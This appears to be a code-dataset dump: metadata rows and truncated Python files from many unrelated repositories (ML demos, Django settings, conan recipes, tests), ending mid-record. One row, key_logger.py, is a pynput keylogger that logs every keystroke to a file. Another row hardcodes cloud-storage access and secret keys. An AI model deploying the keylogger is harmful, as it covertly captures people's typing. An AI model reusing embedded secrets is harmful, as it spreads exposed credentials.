hexsha
stringlengths
40
40
size
int64
1
1.03M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
239
max_stars_repo_name
stringlengths
5
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
239
max_issues_repo_name
stringlengths
5
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
239
max_forks_repo_name
stringlengths
5
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
1
1.03M
avg_line_length
float64
1
958k
max_line_length
int64
1
1.03M
alphanum_fraction
float64
0
1
795abd1dbdbc0837bc1b5dc50b787c3d8106fc72
6,940
py
Python
demos/cnnmnist_plain.py
cyckun/mpyc
ed8546ab20d77b9d612528e82cb1501b85c2b673
[ "MIT" ]
null
null
null
demos/cnnmnist_plain.py
cyckun/mpyc
ed8546ab20d77b9d612528e82cb1501b85c2b673
[ "MIT" ]
null
null
null
demos/cnnmnist_plain.py
cyckun/mpyc
ed8546ab20d77b9d612528e82cb1501b85c2b673
[ "MIT" ]
null
null
null
""" Demo Convolutional Neural Network (CNN) MNIST classifier. The MNIST dataset of handwritten digits consists of a training set of 60,000 images of a test set of 10,000 images. The training images have been used in the clear to obtain a highly reliable CNN classifier. The demo feeds the classifier with random test im...
31.545455
91
0.530259
795abdb9b781178d184fd2bc2305f52f575b3ddf
1,596
py
Python
pluto/strategies/setup.py
chalant/pluto
e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc
[ "Apache-2.0" ]
null
null
null
pluto/strategies/setup.py
chalant/pluto
e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc
[ "Apache-2.0" ]
null
null
null
pluto/strategies/setup.py
chalant/pluto
e7bfd35a2c1fc0e0753bd2f840b0a4385b5124fc
[ "Apache-2.0" ]
null
null
null
from sqlalchemy import text from zipline.finance import cancel_policy _GET_STRATEGY_SETUP = text( """ SELECT * FROM strategy_setup WHERE strategy_id=:strategy_id """) _SAVE_STRATEGY_SETUP = text( """ INSERT OR REPLACE INTO strategies VALUES """) _SAVE_STRATEGY_ASSET_CLASS = text( ...
23.130435
63
0.671053
795abdd3aa0e624f4df1b77729d950a10efce1e5
5,422
py
Python
http_prompt/cli.py
KiranBaktha/http-prompt
87f1e9d82f790bcee650b2cbb377b07c8ed3f20b
[ "MIT" ]
null
null
null
http_prompt/cli.py
KiranBaktha/http-prompt
87f1e9d82f790bcee650b2cbb377b07c8ed3f20b
[ "MIT" ]
null
null
null
http_prompt/cli.py
KiranBaktha/http-prompt
87f1e9d82f790bcee650b2cbb377b07c8ed3f20b
[ "MIT" ]
null
null
null
from __future__ import unicode_literals import json import os import re import sys import click from httpie.plugins import FormatterPlugin # noqa, avoid cyclic import from httpie.output.formatters.colors import Solarized256Style from prompt_toolkit import prompt, AbortAction from prompt_toolkit.auto_suggest import ...
31.707602
77
0.644596
795abe90256ca40e56815b2b02ba73b0c8692fd3
606
py
Python
info/utils/image_storage.py
gottuantuan/info_got
80ee1e7005a7ee9d9fea20f84b5636cc3cc7c527
[ "MIT" ]
null
null
null
info/utils/image_storage.py
gottuantuan/info_got
80ee1e7005a7ee9d9fea20f84b5636cc3cc7c527
[ "MIT" ]
null
null
null
info/utils/image_storage.py
gottuantuan/info_got
80ee1e7005a7ee9d9fea20f84b5636cc3cc7c527
[ "MIT" ]
null
null
null
from qiniu import Auth, put_data access_key = 'XSOF7q0mcz3NkFDeXoiKL1SliQswpGp5sSvD44Pu' secret_key = '1zTYK17VvDIvFHEILU-gp89bM3c4FPTFF7DtISsj' bucket_name = 'infogot' def storage(data): try: q = Auth(access_key, secret_key) token = q.upload_token(bucket_name) ret, info = put_data(token...
23.307692
55
0.650165
795ac0a74c8a6c463c7404890792d7708073e868
3,287
py
Python
eland/actions.py
redNixon/eland
1b9cb1db6d30f0662fe3679c7bb31e2c0865f0c3
[ "Apache-2.0" ]
null
null
null
eland/actions.py
redNixon/eland
1b9cb1db6d30f0662fe3679c7bb31e2c0865f0c3
[ "Apache-2.0" ]
null
null
null
eland/actions.py
redNixon/eland
1b9cb1db6d30f0662fe3679c7bb31e2c0865f0c3
[ "Apache-2.0" ]
null
null
null
# Copyright 2019 Elasticsearch BV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicabl...
30.155963
120
0.573471
795ac14dbcafb874c7b61401ca244826dc3458a6
464
py
Python
key_logger.py
SebastianOhberg/keylogger
666b1c7ffdd29976aee708bb14c8637803e41102
[ "MIT" ]
null
null
null
key_logger.py
SebastianOhberg/keylogger
666b1c7ffdd29976aee708bb14c8637803e41102
[ "MIT" ]
null
null
null
key_logger.py
SebastianOhberg/keylogger
666b1c7ffdd29976aee708bb14c8637803e41102
[ "MIT" ]
null
null
null
import datetime from pynput.keyboard import Listener d = datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S') f = open('keylogger_{}.txt'.format(d), 'w') def key_recorder(key): key = str(key) if key == 'Key.enter': f.write('\n') elif key == 'Key.space': f.write(' ') elif key == 'Key...
23.2
57
0.573276
795ac2da37e1dcf26c60717615a95bb48a31ba3e
9,112
py
Python
recipes/diligent-core/all/conanfile.py
dssimonspoerri/conan-center-index
83f1cbeb0407382be1c4011e66ca5cdaa634b18d
[ "MIT" ]
null
null
null
recipes/diligent-core/all/conanfile.py
dssimonspoerri/conan-center-index
83f1cbeb0407382be1c4011e66ca5cdaa634b18d
[ "MIT" ]
null
null
null
recipes/diligent-core/all/conanfile.py
dssimonspoerri/conan-center-index
83f1cbeb0407382be1c4011e66ca5cdaa634b18d
[ "MIT" ]
null
null
null
from conans import ConanFile, tools, CMake from conans.errors import ConanInvalidConfiguration import os required_conan_version = ">=1.33.0" class DiligentCoreConan(ConanFile): name = "diligent-core" url = "https://github.com/conan-io/conan-center-index" homepage = "https://github.com/DiligentGraphics/Di...
45.108911
132
0.645193
795ac463a174cac6c514898ce79d2dbeb4e801bc
2,216
py
Python
lib/rucio/common/stomp_utils.py
ejr004/rucio
81620cc54e3536e3656dfc83a4563da4ee39247e
[ "Apache-2.0" ]
2
2020-02-18T22:34:24.000Z
2022-03-09T16:26:18.000Z
lib/rucio/common/stomp_utils.py
ejr004/rucio
81620cc54e3536e3656dfc83a4563da4ee39247e
[ "Apache-2.0" ]
null
null
null
lib/rucio/common/stomp_utils.py
ejr004/rucio
81620cc54e3536e3656dfc83a4563da4ee39247e
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright 2022 CERN # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed...
37.559322
110
0.58574
795ac4674d1a8b0b6b3d9ea5b9067f63becc5b1c
1,130
py
Python
backend/models.py
vasspilka/Automata
e53bd5004283cded0bf01ec7dc1e05a202f9bd02
[ "Unlicense", "MIT" ]
null
null
null
backend/models.py
vasspilka/Automata
e53bd5004283cded0bf01ec7dc1e05a202f9bd02
[ "Unlicense", "MIT" ]
null
null
null
backend/models.py
vasspilka/Automata
e53bd5004283cded0bf01ec7dc1e05a202f9bd02
[ "Unlicense", "MIT" ]
null
null
null
import db import config import logging logging.basicConfig(format='%(asctime)s %(levelname)s:%(message)s', filename='automata.log', level=logging.DEBUG) DB = db.Database(config.SQL.HOST, config.SQL.USERNAME, config.SQL.PASSWORD, config.SQL.DATABASE) logging.info("Connected to SQL ...
28.25
82
0.576991
795ac493b0670e8e939dde754e82e5fdeb766478
1,794
py
Python
openslides_backend/action/actions/projector/control_view.py
MJJojo97/openslides-backend
af0d1edb0070e352d46f285a1ba0bbe3702d49ae
[ "MIT" ]
5
2020-01-20T13:57:15.000Z
2021-03-27T14:14:44.000Z
openslides_backend/action/actions/projector/control_view.py
MJJojo97/openslides-backend
af0d1edb0070e352d46f285a1ba0bbe3702d49ae
[ "MIT" ]
859
2020-01-11T22:58:37.000Z
2022-03-30T14:54:06.000Z
openslides_backend/action/actions/projector/control_view.py
MJJojo97/openslides-backend
af0d1edb0070e352d46f285a1ba0bbe3702d49ae
[ "MIT" ]
16
2020-01-04T20:28:57.000Z
2022-02-10T12:06:54.000Z
from typing import Any, Dict from ....models.models import Projector from ....permissions.permissions import Permissions from ....shared.exceptions import ActionException from ....shared.patterns import FullQualifiedId from ...generics.update import UpdateAction from ...util.default_schema import DefaultSchema from .....
34.5
79
0.615942
795ac4e369cfecef8785479f392f1166a05cef53
1,293
py
Python
Question_duplicate_number/python/main.py
josue-lubaki/awesome-interview
6583e04ec25ebfd7a6647d7f7803c37d75852dee
[ "MIT" ]
1
2022-01-11T23:44:56.000Z
2022-01-11T23:44:56.000Z
Question_duplicate_number/python/main.py
josue-lubaki/awesome-interview
6583e04ec25ebfd7a6647d7f7803c37d75852dee
[ "MIT" ]
null
null
null
Question_duplicate_number/python/main.py
josue-lubaki/awesome-interview
6583e04ec25ebfd7a6647d7f7803c37d75852dee
[ "MIT" ]
null
null
null
""" function 1 : find_duplicate_by_josueLubaki @param arr : list of numbers @return list of integers @author : Josue Lubaki """ def find_duplicate_by_josueLubaki(arr): duplicates, seen = set(), set() for element in arr: if element in seen: duplicates.add(element) see...
23.089286
63
0.634957
795ac531224f0a92bfad5fb9d19b642e1d38ad65
3,869
py
Python
subjects/migrations/0001_initial.py
soumith2105/vasv-stdin-backend
72472af0f4a9ea5d9d51f980d148badbb9252fe6
[ "MIT" ]
null
null
null
subjects/migrations/0001_initial.py
soumith2105/vasv-stdin-backend
72472af0f4a9ea5d9d51f980d148badbb9252fe6
[ "MIT" ]
1
2022-02-21T15:09:06.000Z
2022-02-21T15:09:06.000Z
subjects/migrations/0001_initial.py
soumith2105/vasv-stdin-backend
72472af0f4a9ea5d9d51f980d148badbb9252fe6
[ "MIT" ]
null
null
null
# Generated by Django 3.2.2 on 2021-05-11 22:16 import django.db.models.deletion from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ("semesters", "0001_initial"), ] operations = [ migrations.CreateModel( name=...
38.69
87
0.453089
795ac5c9fb2d3a9b12c78b7bc7151cd9528a08de
139
py
Python
pythran/tests/rosetta/generic_swap.py
davidbrochart/pythran
24b6c8650fe99791a4091cbdc2c24686e86aa67c
[ "BSD-3-Clause" ]
1,647
2015-01-13T01:45:38.000Z
2022-03-28T01:23:41.000Z
pythran/tests/rosetta/generic_swap.py
davidbrochart/pythran
24b6c8650fe99791a4091cbdc2c24686e86aa67c
[ "BSD-3-Clause" ]
1,116
2015-01-01T09:52:05.000Z
2022-03-18T21:06:40.000Z
pythran/tests/rosetta/generic_swap.py
davidbrochart/pythran
24b6c8650fe99791a4091cbdc2c24686e86aa67c
[ "BSD-3-Clause" ]
180
2015-02-12T02:47:28.000Z
2022-03-14T10:28:18.000Z
#from http://rosettacode.org/wiki/Generic_swap#Python #pythran export swap(str, int) #runas swap("e", 15) def swap(a, b): return b, a
19.857143
53
0.690647
795ac681e50cc715b00a6b7d2863b45a519ae201
1,392
py
Python
pymoo/model/crossover.py
Peng-YM/pymoo
f2931be04ce1a33d641172340efde519bedcf22d
[ "Apache-2.0" ]
1
2020-11-18T10:04:02.000Z
2020-11-18T10:04:02.000Z
pymoo/model/crossover.py
Peng-YM/pymoo
f2931be04ce1a33d641172340efde519bedcf22d
[ "Apache-2.0" ]
null
null
null
pymoo/model/crossover.py
Peng-YM/pymoo
f2931be04ce1a33d641172340efde519bedcf22d
[ "Apache-2.0" ]
null
null
null
import numpy as np from pymoo.model.population import Population class Crossover: """ The crossover combines parents to offsprings. Some crossover are problem specific and use additional information. This class must be inherited from to provide a crossover method to an algorithm. """ def __init_...
30.933333
117
0.625718
795ac74994163cdda01bd367390e0e08f0e5eb2b
4,514
py
Python
tasks/addition/eval.py
souradeepta/Neural-Programmer-Interpreter
98bfbb5bf867834fa772f47c2866e3f683930b03
[ "MIT" ]
null
null
null
tasks/addition/eval.py
souradeepta/Neural-Programmer-Interpreter
98bfbb5bf867834fa772f47c2866e3f683930b03
[ "MIT" ]
5
2020-01-28T23:01:43.000Z
2022-02-10T00:23:52.000Z
tasks/addition/eval.py
souradeepta/Neural-Programmer-Interpreter
98bfbb5bf867834fa772f47c2866e3f683930b03
[ "MIT" ]
1
2020-04-29T17:51:10.000Z
2020-04-29T17:51:10.000Z
""" eval.py Loads in an Addition NPI, and starts a REPL for interactive addition. """ from model.npi import NPI from tasks.addition.addition import AdditionCore from tasks.addition.env.config import CONFIG, get_args, PROGRAM_SET, ScratchPad import numpy as np import pickle import tensorflow as tf LOG_PATH = "tasks/ad...
36.699187
100
0.480948
795ac7b8d87a2f9d24cf8cb68548e52cf905e8f1
452
py
Python
lezione2/python/esempi_liste.py
FabLab-Western-Sicily/coding-class-scratch-python
85f20e727c1cc3659f553de048ed0d462d7f11dd
[ "MIT" ]
1
2020-11-04T11:15:08.000Z
2020-11-04T11:15:08.000Z
lezione2/python/esempi_liste.py
FabLab-Western-Sicily/coding-class-scratch-python
85f20e727c1cc3659f553de048ed0d462d7f11dd
[ "MIT" ]
null
null
null
lezione2/python/esempi_liste.py
FabLab-Western-Sicily/coding-class-scratch-python
85f20e727c1cc3659f553de048ed0d462d7f11dd
[ "MIT" ]
null
null
null
lista_esempio = [] altra_lista = list() lista_esempio = [1,2,3,4] print(altra_lista) print(lista_esempio) print(lista_esempio[1]) print(lista_esempio[-1]) print(lista_esempio[:-1]) lista_esempio.append(7) print(lista_esempio) lista_esempio.insert(2, 1) print(lista_esempio) lista_esempio.pop() print(lista_e...
12.216216
29
0.767699
795ac8a9699d3bcb8f999347705cd36e7f99b3f5
24,018
py
Python
gpMgmt/bin/gppylib/gpcatalog.py
khuddlefish/gpdb
2d20bae838c5ed433eecf6ecceca1b8dd5221197
[ "PostgreSQL", "Apache-2.0" ]
null
null
null
gpMgmt/bin/gppylib/gpcatalog.py
khuddlefish/gpdb
2d20bae838c5ed433eecf6ecceca1b8dd5221197
[ "PostgreSQL", "Apache-2.0" ]
null
null
null
gpMgmt/bin/gppylib/gpcatalog.py
khuddlefish/gpdb
2d20bae838c5ed433eecf6ecceca1b8dd5221197
[ "PostgreSQL", "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # # Copyright (c) 2010-2011 EMC Corporation. All Rights Reserved # """ gpcatalog.py Contains two classes representing catalog metadata: Catalog - a container class for CatalogTables CatalogTable - metadata about a single tables """ # =======================================...
36.117293
90
0.580065
795ac90352d1861979d02d02ac3c159d626372a0
118
py
Python
archive/examples/urwid_example.py
Tubular-Terriers/code-jam
be706c485110ee49727ec33d07b5d8fef7cf49e1
[ "MIT" ]
1
2021-07-20T17:01:43.000Z
2021-07-20T17:01:43.000Z
archive/examples/urwid_example.py
Tubular-Terriers/code-jam
be706c485110ee49727ec33d07b5d8fef7cf49e1
[ "MIT" ]
null
null
null
archive/examples/urwid_example.py
Tubular-Terriers/code-jam
be706c485110ee49727ec33d07b5d8fef7cf49e1
[ "MIT" ]
null
null
null
import urwid txt = urwid.Text(u"Hello World") fill = urwid.Filler(txt, "top") loop = urwid.MainLoop(fill) loop.run()
16.857143
32
0.70339
795ac9c116ca9f9fae65819b31ba4177868e8908
2,210
py
Python
kii/results/object.py
ta2xeo/python3-kii
892da42601318bcc15e70378614be76d68681881
[ "MIT" ]
2
2018-02-04T21:16:02.000Z
2021-12-01T16:51:43.000Z
kii/results/object.py
ta2xeo/python3-kii
892da42601318bcc15e70378614be76d68681881
[ "MIT" ]
null
null
null
kii/results/object.py
ta2xeo/python3-kii
892da42601318bcc15e70378614be76d68681881
[ "MIT" ]
null
null
null
from datetime import datetime from .base import BaseResult class ObjectResult(BaseResult): """ for buckets result """ def set_result(self, result): super().set_result(result) return self @property def _created(self): return datetime.fromtimestamp((self._result['_creat...
30.694444
90
0.658371
795ac9eaea49d2291b599668a737ca47c0d326b4
780
py
Python
Evolution/SinglePoint/ParallelHC.py
Evolutionary-Computing-2019/Angel-Corredor
3218fe025ba6d3911bd4a1d782cbb97b5223eccc
[ "MIT" ]
1
2019-09-11T04:28:40.000Z
2019-09-11T04:28:40.000Z
Evolution/SinglePoint/ParallelHC.py
Evolutionary-Computing-2019/Angel-Corredor
3218fe025ba6d3911bd4a1d782cbb97b5223eccc
[ "MIT" ]
null
null
null
Evolution/SinglePoint/ParallelHC.py
Evolutionary-Computing-2019/Angel-Corredor
3218fe025ba6d3911bd4a1d782cbb97b5223eccc
[ "MIT" ]
null
null
null
from multiprocessing.pool import ThreadPool from HillClimb import HillClimb class ParallelHC: def __init__(self, threads, dim, function, stop): self.threads = threads self.function = function self.obj = HillClimb(dim, function, stop) self.pool = ThreadPool(processes = threads) def execute(self, _...
28.888889
105
0.670513
795aca3bd791cdcef8635e8c9a29afeba89d6acb
2,532
py
Python
tests/test_bail.py
1Blackdiamondsc/seed-liquidity
91e08c1a0bfa8115db38a23d236c22dcddf039af
[ "MIT" ]
55
2020-12-18T15:34:11.000Z
2022-03-27T12:50:09.000Z
tests/test_bail.py
1Blackdiamondsc/seed-liquidity
91e08c1a0bfa8115db38a23d236c22dcddf039af
[ "MIT" ]
null
null
null
tests/test_bail.py
1Blackdiamondsc/seed-liquidity
91e08c1a0bfa8115db38a23d236c22dcddf039af
[ "MIT" ]
17
2020-12-18T14:36:32.000Z
2022-02-10T17:41:12.000Z
import brownie def test_bail_seed_running(seed, lido, weth, agent, whale, chain): lido_amount = seed.target(0) weth_amount = seed.target(1) lido.approve(seed, lido_amount) seed.deposit([lido_amount, 0], {'from': agent}) weth.approve(seed, weth_amount) seed.deposit([0, weth_amount], {'from...
29.44186
87
0.657583
795acb265ffee626a9d0657f85b7bed07e9700dc
429
py
Python
src/volunteers/migrations/0012_auto_20161106_2058.py
mrts/foodbank-campaign
fbb059f3ebe44dccde4895964242b105421a69d1
[ "MIT" ]
1
2021-03-20T10:14:21.000Z
2021-03-20T10:14:21.000Z
src/volunteers/migrations/0012_auto_20161106_2058.py
mrts/foodbank-campaign
fbb059f3ebe44dccde4895964242b105421a69d1
[ "MIT" ]
4
2018-03-24T21:49:02.000Z
2021-01-13T21:31:44.000Z
src/volunteers/migrations/0012_auto_20161106_2058.py
mrts/foodbank-campaign
fbb059f3ebe44dccde4895964242b105421a69d1
[ "MIT" ]
3
2018-04-15T16:34:46.000Z
2019-11-13T16:38:05.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.10.2 on 2016-11-06 18:58 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('volunteers', '0011_volunteer_notes'), ] operations = [ migrations.AlterIndexTogethe...
21.45
58
0.622378
795acb3ad57b8f5f0ae38c9001fc6efc6c99c71d
8,827
py
Python
backbone/CustomDataset.py
LudovicoL/PaDiM
d60da5218eeed01e6b7f1e386389446b4ebb2300
[ "Apache-2.0" ]
null
null
null
backbone/CustomDataset.py
LudovicoL/PaDiM
d60da5218eeed01e6b7f1e386389446b4ebb2300
[ "Apache-2.0" ]
null
null
null
backbone/CustomDataset.py
LudovicoL/PaDiM
d60da5218eeed01e6b7f1e386389446b4ebb2300
[ "Apache-2.0" ]
null
null
null
import os from PIL import Image from scipy.ndimage.filters import gaussian_filter import cv2 import shutil # To copy the file import sys import numpy as np import torch from torchvision import transforms from torch.utils.data import Dataset import torch.nn.functional as F import torchvision import backbone as bb...
43.915423
132
0.612213
795accf8a97e01f90b58b90e6f09f53e85384774
1,263
py
Python
mall/apps/oauth/migrations/0002_oauthsinauser.py
xxbsg/meiduo
0e82628833c4b482884cd392b8d22cb8558f1ffd
[ "MIT" ]
null
null
null
mall/apps/oauth/migrations/0002_oauthsinauser.py
xxbsg/meiduo
0e82628833c4b482884cd392b8d22cb8558f1ffd
[ "MIT" ]
null
null
null
mall/apps/oauth/migrations/0002_oauthsinauser.py
xxbsg/meiduo
0e82628833c4b482884cd392b8d22cb8558f1ffd
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.11 on 2019-01-25 02:45 from __future__ import unicode_literals from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_depend...
37.147059
137
0.623911
795acd4e08d70195880d410c45a55289d7ec3faa
44,335
py
Python
tests/sentry/lang/native/test_plugin.py
Munyola/sentry
ab8923b2801d7d72d6903e0d9180584817bb1b9a
[ "BSD-3-Clause" ]
1
2017-10-18T19:40:14.000Z
2017-10-18T19:40:14.000Z
tests/sentry/lang/native/test_plugin.py
Munyola/sentry
ab8923b2801d7d72d6903e0d9180584817bb1b9a
[ "BSD-3-Clause" ]
null
null
null
tests/sentry/lang/native/test_plugin.py
Munyola/sentry
ab8923b2801d7d72d6903e0d9180584817bb1b9a
[ "BSD-3-Clause" ]
null
null
null
from __future__ import absolute_import import os import zipfile from mock import patch from six import BytesIO from django.core.files.uploadedfile import SimpleUploadedFile from django.core.urlresolvers import reverse from sentry.models import Event from sentry.testutils import TestCase from sentry.lang.native.symbo...
39.655635
240
0.363505
795acdf6f20909fabc83470fbd7e4a759e712ef9
579
py
Python
staircase.py
Lucian-N/funBits
a5079167c7e42efd24b566e25b98b3546e7b0354
[ "Apache-2.0" ]
null
null
null
staircase.py
Lucian-N/funBits
a5079167c7e42efd24b566e25b98b3546e7b0354
[ "Apache-2.0" ]
null
null
null
staircase.py
Lucian-N/funBits
a5079167c7e42efd24b566e25b98b3546e7b0354
[ "Apache-2.0" ]
null
null
null
''' Consider a staircase of size : # ## ### #### Observe that its base and height are both equal to n=4, and the image is drawn using # symbols and spaces. The last line is not preceded by any spaces. Write a program that prints a staircase of size . ''' #!/bin/python3 import math import os import random imp...
17.545455
151
0.625216
795ace79a4aa5aab942ee64f94c4f266d95e2e6a
5,844
py
Python
api/python/indigo/renderer.py
tsingdao-Tp/Indigo
b2d73faebb6a450e9b3d34fed553fad4f9d0012f
[ "Apache-2.0" ]
null
null
null
api/python/indigo/renderer.py
tsingdao-Tp/Indigo
b2d73faebb6a450e9b3d34fed553fad4f9d0012f
[ "Apache-2.0" ]
null
null
null
api/python/indigo/renderer.py
tsingdao-Tp/Indigo
b2d73faebb6a450e9b3d34fed553fad4f9d0012f
[ "Apache-2.0" ]
null
null
null
# # Copyright (C) from 2009 to Present EPAM Systems. # # This file is part of Indigo toolkit. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # ...
33.204545
98
0.592231
795ace88e1de4748df2b96a4d104c86ca5c4f848
3,092
py
Python
mysite/mysite/settings.py
t2y/django-sample
1b717f4ed67e73f0c507b6f83a1e946e4690e51e
[ "Apache-2.0" ]
null
null
null
mysite/mysite/settings.py
t2y/django-sample
1b717f4ed67e73f0c507b6f83a1e946e4690e51e
[ "Apache-2.0" ]
null
null
null
mysite/mysite/settings.py
t2y/django-sample
1b717f4ed67e73f0c507b6f83a1e946e4690e51e
[ "Apache-2.0" ]
null
null
null
""" Django settings for mysite project. Generated by 'django-admin startproject' using Django 3.1.1. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib ...
25.344262
91
0.695666
795acee2295e2a9400d24eb157f335dabf56d1a5
886
py
Python
pytglib/api/types/log_stream_file.py
iTeam-co/pytglib
e5e75e0a85f89b77762209b32a61b0a883c0ae61
[ "MIT" ]
6
2019-10-30T08:57:27.000Z
2021-02-08T14:17:43.000Z
pytglib/api/types/log_stream_file.py
iTeam-co/python-telegram
e5e75e0a85f89b77762209b32a61b0a883c0ae61
[ "MIT" ]
1
2021-08-19T05:44:10.000Z
2021-08-19T07:14:56.000Z
pytglib/api/types/log_stream_file.py
iTeam-co/python-telegram
e5e75e0a85f89b77762209b32a61b0a883c0ae61
[ "MIT" ]
5
2019-12-04T05:30:39.000Z
2021-05-21T18:23:32.000Z
from ..utils import Object class LogStreamFile(Object): """ The log is written to a file Attributes: ID (:obj:`str`): ``LogStreamFile`` Args: path (:obj:`str`): Path to the file to where the internal TDLib log will be written max_file_size (:obj:`int`): ...
23.945946
120
0.599323
795acf6aa44babe8a38e41613150da8518346c2f
1,960
py
Python
pyjobs_web/pyjobsweb/lib/helpers.py
pyjobs/web
183742ae571ee83d4fe4b34f1f0ce9f2204c449e
[ "MIT" ]
8
2016-01-29T13:06:26.000Z
2020-11-02T07:23:57.000Z
pyjobs_web/pyjobsweb/lib/helpers.py
pyjobs/web
183742ae571ee83d4fe4b34f1f0ce9f2204c449e
[ "MIT" ]
18
2016-02-11T08:17:13.000Z
2022-03-02T14:53:38.000Z
pyjobs_web/pyjobsweb/lib/helpers.py
pyjobs/web
183742ae571ee83d4fe4b34f1f0ce9f2204c449e
[ "MIT" ]
5
2016-02-05T08:57:12.000Z
2018-01-15T08:19:43.000Z
# -*- coding: utf-8 -*- """Template Helpers used in pyjobsweb.""" import json import logging from datetime import datetime from urllib import quote_plus from markupsafe import Markup from slugify import slugify as base_slugify from tg import config log = logging.getLogger(__name__) jours = ["Lundi", "Mardi", "Mercred...
25.789474
132
0.686224
795ad0213fb25fd6f2082b99042fa5aa26070448
1,713
py
Python
MLP.py
AIKICo/Steganalysis-By-Frame
c2e1a20664056eb723c694949119a26f7fb6cfbc
[ "Apache-2.0" ]
1
2019-03-25T07:20:05.000Z
2019-03-25T07:20:05.000Z
MLP.py
MohMehrnia/Steganalysis-By-Frame
c2e1a20664056eb723c694949119a26f7fb6cfbc
[ "Apache-2.0" ]
1
2020-01-29T07:12:02.000Z
2020-01-29T07:12:02.000Z
MLP.py
MohMehrnia/Steganalysis-By-Frame
c2e1a20664056eb723c694949119a26f7fb6cfbc
[ "Apache-2.0" ]
null
null
null
import csv import numpy as np from sklearn.neural_network import MLPClassifier from sklearn.metrics.classification import accuracy_score from sklearn.metrics import classification_report from sklearn.metrics import roc_curve import matplotlib.pyplot as plt from sklearn.metrics import roc_auc_score def loaddata(filena...
34.959184
112
0.71979
795ad13df29051adecc0feb4961b4513c8ad48e2
969
py
Python
azure/mgmt/network/v2016_09_01/models/route_table_paged.py
EnjoyLifeFund/macHighSierra-py36-pkgs
5668b5785296b314ea1321057420bcd077dba9ea
[ "BSD-3-Clause", "BSD-2-Clause", "MIT" ]
null
null
null
azure/mgmt/network/v2016_09_01/models/route_table_paged.py
EnjoyLifeFund/macHighSierra-py36-pkgs
5668b5785296b314ea1321057420bcd077dba9ea
[ "BSD-3-Clause", "BSD-2-Clause", "MIT" ]
null
null
null
azure/mgmt/network/v2016_09_01/models/route_table_paged.py
EnjoyLifeFund/macHighSierra-py36-pkgs
5668b5785296b314ea1321057420bcd077dba9ea
[ "BSD-3-Clause", "BSD-2-Clause", "MIT" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # C...
34.607143
130
0.560372
795ad1ff11d085d82cb010b969753b94cbe06b53
1,007
py
Python
fetch/api/resources/method.py
ziransun/wpt
ab8f451eb39eb198584d547f5d965ef54df2a86a
[ "BSD-3-Clause" ]
2
2020-04-16T18:41:05.000Z
2021-01-30T04:33:07.000Z
fetch/api/resources/method.py
ziransun/wpt
ab8f451eb39eb198584d547f5d965ef54df2a86a
[ "BSD-3-Clause" ]
21
2021-03-31T19:48:22.000Z
2022-03-12T00:24:53.000Z
fetch/api/resources/method.py
ziransun/wpt
ab8f451eb39eb198584d547f5d965ef54df2a86a
[ "BSD-3-Clause" ]
1
2020-05-04T05:26:16.000Z
2020-05-04T05:26:16.000Z
def main(request, response): headers = [] if "cors" in request.GET: headers.append(("Access-Control-Allow-Origin", "*")) headers.append(("Access-Control-Allow-Credentials", "true")) headers.append(("Access-Control-Allow-Methods", "GET, POST, PUT, FOO")) headers.append(("Access-Co...
59.235294
97
0.678252
795ad287d7fef929a41a6b796609ec25addd0716
2,014
py
Python
archiver/biosamples.py
DistPub/ingest-archiver
a88b32cab2d02b55196f01a78229f4bff8d9b927
[ "Apache-2.0" ]
null
null
null
archiver/biosamples.py
DistPub/ingest-archiver
a88b32cab2d02b55196f01a78229f4bff8d9b927
[ "Apache-2.0" ]
null
null
null
archiver/biosamples.py
DistPub/ingest-archiver
a88b32cab2d02b55196f01a78229f4bff8d9b927
[ "Apache-2.0" ]
null
null
null
from copy import deepcopy from archiver.dsp_post_process import dsp_attribute, fixed_dsp_attribute, taxon_id from conversion.json_mapper import JsonMapper from conversion.post_process import format_date, default_to def _taxon(*args): ontology_item = args[0] if ontology_item: genus_species = ontology_...
41.102041
116
0.733863
795ad28ccb9bfc7d6daa95e784797f21fd2511ce
9,052
py
Python
stats-backend/yapapi/yapapi/storage/gftp.py
cryptobench/golem-stats-backend
567e98873bff6282415ecbdc075c27dab75d805a
[ "MIT" ]
null
null
null
stats-backend/yapapi/yapapi/storage/gftp.py
cryptobench/golem-stats-backend
567e98873bff6282415ecbdc075c27dab75d805a
[ "MIT" ]
4
2021-03-28T16:42:41.000Z
